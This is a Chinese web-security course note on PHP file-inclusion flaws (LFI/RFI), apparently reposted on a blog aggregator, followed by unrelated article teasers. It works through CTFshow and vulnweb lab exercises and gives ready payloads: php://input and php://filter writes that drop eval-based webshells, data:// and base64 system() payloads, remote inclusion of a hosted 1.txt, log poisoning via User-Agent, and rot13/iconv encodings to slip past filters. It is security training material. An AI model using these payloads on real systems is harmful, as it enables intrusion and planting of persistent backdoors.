Day50:WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒

目录

文件包含-原理&分类&利用&修复

文件读取

文件写入

代码执行

远程利用思路

黑盒利用-VULWEB

白盒利用-CTFSHOW-伪协议玩法

78-php&http协议

79-data&http协议

80-81-日志包含

87-php://filter/write&加密编码

88-data&base64协议

117-php://filter/write&新的算法


知识点:

1、文件包含-原理&分类&危害-LFI&RFI

2、文件包含-利用-黑白盒&无文件&伪协议

文件包含-原理&分类&利用&修复

原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

分类:

  1. 本地包含-Local File Include-LFI
  2. 远程包含-Remote File Include-RFI

差异原因:代码过滤和环境配置文件开关决定

远程包含-Remote File Include-RFI(较少)
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

白盒审计-白盒发现

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

利用(无文件就是指目标没有上传点,只能包含服务器已经存在的文件)

本地利用思路:

  1. 配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
  2. 无文件包含日志
  3. 无文件包含SESSION
  4. 无文件支持伪协议利用

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取

方式一:file:///etc/passwd

方式二:php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里有两个参数才行

注:131要改为base64编码才行,图里是错误的

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行

方式一:
php://input 
POST:<?php phpinfo();?>

方式二:
data://text/plain,<?php phpinfo();?>

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

78-php&http协议

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

方式二:
payload: ?file=php://input post:<?php system('tac flag.php');?>

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去

79-data&http协议

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>

方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80-81-日志包含

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行

故利用日志记录UA信息,UA带入后门代码或者system代码,包含:/var/log/nginx/access.log

87-php://filter/write&加密编码

利用base64:

url编码2次:
php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

代理中并没有过滤php
生成脚本

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

与凯撒13加密差不多,只不过换了另外一种方式

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/293477.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

磐启/PAN7030/2.4GHz 无线收发SOC芯片/ESSOP10/SOP16

1 概述 PAN7030 是一款集成 8 位 OTP MCU 和 2.4GHz 无线收发电路芯片&#xff0c;适合应用于玩具小车、 遥控器等领域。 PAN7030 内置 8 位 OTP MCU&#xff0c;包括 1.25KW 的程序存储器、80 字节数据存储器、16 位定 时器和 8 位/11 位 PWM 定时器、看门狗、电压比较器等…

Ubuntu18.04 下Ublox F9P 实现RTK (利用CORS服务无需自建基站)

本内容参考如下连接:Ubuntu下Ublox F9P利用CORS服务无需自建基站实现RTK-CSDN博客 一、Ublox F9P 硬件模块示意图 图中展示了Ublox F9P的接口,包括串口2(`UART1`和`UART2`),USB1。需要人为通过u-center(Ublox F9P的显示软件)软件设置以下功能: Ublox通过`UART1`向PC端发送…

Go的数据结构与实现【Binary Search Tree】

介绍 本文用Go将实现二叉搜索树数据结构&#xff0c;以及常见的一些方法 二叉树 二叉树是一种递归数据结构&#xff0c;其中每个节点最多可以有两个子节点。 二叉树的一种常见类型是二叉搜索树&#xff0c;其中每个节点的值都大于或等于左子树中的节点值&#xff0c;并且小…

脑机辅助推导算法

目录 一&#xff0c;背景 二&#xff0c;华容道中道 1&#xff0c;问题 2&#xff0c;告诉脑机如何编码一个正方形格子 3&#xff0c;让脑机汇总信息 4&#xff0c;观察图&#xff0c;得到启发式算法 5&#xff0c;根据启发式算法求出具体解 6&#xff0c;可视化 一&am…

centos7.5安装gitlab-runner,配置CI/CD流水线

一般不建议gitlab-server和gitlab-runner装在同一台服务器 第一步&#xff1a;安装gitlab-runner,最好和gitlab实例版本一致 # 下载官方gitlab-runner安装脚本 curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh" | s…

时序预测 | Python实现VMD-CNN-LSTM时间序列预测

时序预测 | Python实现VMD-CNN-LSTM时间序列预测 目录 时序预测 | Python实现VMD-CNN-LSTM时间序列预测预测效果基本介绍模型描述代码设计预测效果 基本介绍 VMD-CNN-LSTM 是一种混合深度学习模型,结合了变分模态分解(VMD)、卷积神经网络(CNN)和长短期记忆网络(LSTM)的…

【spring】@Autowired注解学习

Autowired介绍 Spring框架是Java领域中一个非常重要的企业级应用开发框架&#xff0c;它提供了全面的编程和配置模型&#xff0c;旨在帮助开发者更快速、更简单地创建应用程序。在Spring框架中&#xff0c;Autowired是一个非常重要的注解&#xff0c;它用于实现依赖注入&#…

Chatopera 云服务的智能问答引擎实现原理,如何融合 #聊天机器人 技术 #Chatbot #AI #NLP

观看视频 Bilibili: https://www.bilibili.com/video/BV1pZ421q7EH/YouTube: https://www.youtube.com/watch?vx0d1_0HQa8o 内容大纲 提前在浏览器打开网址&#xff1a; Chatopera 云服务&#xff1a;https://bot.chatopera.comChatopera 入门教程&#xff1a;https://dwz…

Web应急响应

2024年护网将至&#xff0c;最近我将分享一些红蓝对抗的一些技巧&#xff0c;应急响应、信息收集相关的知识概念以及相关技巧。 目录 1. 黑客攻击流程 2. webshell流量特征 1.1.菜刀特征 1.2.冰蝎3.0 &#xff1a; 1.3.冰蝎2.0&#xff1a; 1.4.冰蝎3.11流量特征 1.5.蚁…

LeetCode-56. 合并区间【数组 排序】

LeetCode-56. 合并区间【数组 排序】 题目描述&#xff1a;解题思路一&#xff1a;排序&#xff1f;怎么排&#xff1f;当然是排各个区间的左边界&#xff0c;然后判断下一个边界的左边界与结果数组里面的右边界是否重叠。解题思路二&#xff1a;优化解题思路三&#xff1a;0 题…

MongoDB Atlas维护指南:常见类型、注意事项与窗口设置

为了给Atlas用户更好的产品体验&#xff0c;MongoDB产品团队会进行定期维护。 本文将会介绍&#xff1a; 常见维护项目种类及频率&#xff0c;注意事项维护期间的影响及建议维护窗口设置说明维护告警设置和邮件通知范例 维护窗口常见项目 定期SSL证书轮换软件升级&#xff…

基于单片机16位智能抢答器设计

**单片机设计介绍&#xff0c;基于单片机16位智能抢答器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机16位智能抢答器设计是一个结合了单片机技术、显示技术、按键输入技术以及声音提示技术的综合性项目。其设计…

【QT】setContextMenuPolicy()函数用法

在Qt中&#xff0c;setContextMenuPolicy() 是一个相当通用的方法&#xff0c;几乎所有的继承自 QWidget 或其派生类的图形用户界面控件都可以使用该方法来设置它们的上下文菜单策略。这意味着&#xff0c;包括但不限于以下常见的Qt GUI控件都能使用 setContextMenuPolicy() 来…

ssm 科研奖励申报管理系统开发mysql数据库web结构java编程计算机网页源码eclipse项目

一、源码特点 ssm 科研奖励申报管理系统是一套完善的信息系统&#xff0c;结合springMVC框架完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用…

Python数据分析与可视化笔记 七 Numpy ndarray

多维数组对象ndarray&#xff0c;常用属性如下所示 import numpy as nparr np.array([[1,2,3],[4,5,6]]) print(arr.shape) #ndarray各维度的长度 print(arr.ndim) #ndarray的维度 print(arr.size) #ndarray中元素的个数&#xff0c;相当于各维度长度的乘积 print(arr.dtyp…

iOS问题记录 - App Store审核新政策:隐私清单 SDK签名(持续更新)

文章目录 前言开发环境问题描述问题分析1. 隐私清单 & SDK签名1.1. 隐私清单 - 数据使用声明1.2. 隐私清单 - 所用API原因描述1.3. SDK签名 2. 即将发布的第三方SDK要求 解决方案最后 前言 前段时间用Flutter开发的iOS App提交了新版本&#xff0c;结果刚过两分钟就收到了…

智慧公厕四大核心能力,赋能城市公共厕所智能化升级

公共厕所是城市基础设施中不可或缺的一部分&#xff0c;但由于传统的公共厕所在建设与规划上&#xff0c;存在一定的局限性&#xff0c;导致环境卫生差、管理难度大、使用体验不佳等问题&#xff0c;给市民带来了很多不便。而智慧公厕作为城市智能化建设的重要组成部分&#xf…

【Linux多线程】生产者消费者模型

【Linux多线程】生产者消费者模型 目录 【Linux多线程】生产者消费者模型生产者消费者模型为何要使用生产者消费者模型生产者消费者的三种关系生产者消费者模型优点基于BlockingQueue的生产者消费者模型C queue模拟阻塞队列的生产消费模型 伪唤醒情况&#xff08;多生产多消费的…

RUST使用crates.io上的依赖完整教程

1.打开crates.io 2.搜索要使用的依赖,如rand 点击包名,进入包详情页面: 添加依赖方法有两种 1.使用cargo命令 2.直接修改Cargo.toml 使用cargo命令操作如下: 在工程目录执行如下命令: cargo add rand 执行完成后如自动向Cargo.toml中添加依赖如下: 手动修改Cargo.toml是…

STM32使用USART发送数据包指令点亮板载LED灯

电路连接&#xff1a; 连接显示屏模块&#xff0c;显示屏的SCL在B10&#xff0c;SDA在B11。 程序目的&#xff1a; 发送LED_ON指令打开板载LED灯&#xff0c;发送LED_OFF关闭板载LED灯&#xff0c;与上一个博客不同&#xff0c;这个实际上是实现串口收发文本数据包。 …